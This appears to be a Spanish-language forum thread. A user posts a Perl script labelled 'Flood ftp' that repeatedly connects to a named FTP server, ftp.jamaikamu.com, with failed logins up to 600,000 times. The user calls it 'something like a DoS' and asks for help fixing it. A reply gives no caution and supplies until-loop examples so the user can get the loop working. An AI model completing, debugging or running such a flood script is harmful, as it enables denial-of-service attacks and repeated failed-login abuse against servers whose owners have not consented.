Buenas,estaba escribiendo un programa , para un ftp que es vulnerable a multriples conexiones fallidas, pero no me funciona muy bien , aca esta el codigo , aver si podeis encontrar el error
#Logo
print q(
Flood ftp
);
use Net::FTP;
#Create user and pass
my $contador=0;
my $userpass="AAAAAA";
do
{
print("Intentos : $contador");
$userpass x 1;
$contador++;
my $ftp = Net::FTP->new("ftp.jamaikamu.com") or die("No se pudo conectar al servidor: $!");
$ftp->login($userpass,$userpass);
print("Login incorrecto");
#ACCIONES QUE QUEREMOS EJECUTAR EN EL SERVIDOR
$ftp->quit or die("No se puedo desconectar del servidor: $!");
print("Intentos : $contador");
} until($contador > 600000);
Supuestamente,esto tendria que conectarse al ftp ftp.jamaikamu.com , multriples veces , con un password fallido , que va a ser el $userpass .
No me anda ni el contador, asique no sé,estare haciendo todo mal,antes de seguir mentiendo mano. :)
es algo parecido a un D.o.S
Te recomiendo que primero lo maquetees para que conozca como funciona el modificador until, aunque yo prefería usar for xD.
Ejemplo de until para incrementar:
#!/user/bin/perl
#Ejemplo de until
my $username = 'hola';
my $password = 'adios';
until($i > 10){
$i++;
$password .=$i;
$login = $username.$password;
print $login, "\n";
}
Salida:
yoya@yoya-desktop:~/Escritorio$ perl a.pl
holaadios1
holaadios12
holaadios123
holaadios1234
holaadios12345
holaadios123456
holaadios1234567
holaadios12345678
holaadios123456789
holaadios12345678910
holaadios1234567891011
O tambien se puede usar para ejecutar lo que esta dentro del modificador las veces que se indique.
#!/user/bin/perl
#Ejemplo de until
my $username = 'hola';
my $password = 'adios';
until($i > 10){
$i++;
$login = $username.$password;
print $login, "\n";
}
print "Estoy fuera del modificador y no me afecta\n";
Salida:
yoya@yoya-desktop:~/Escritorio$ perl a.pl
holaadios
holaadios
holaadios
holaadios
holaadios
holaadios
holaadios
holaadios
holaadios
holaadios
holaadios
Estoy fuera del modificador y no me afecta
yoya@yoya-desktop:~/Escritorio$
Ya con esto sabrás como se hace xD.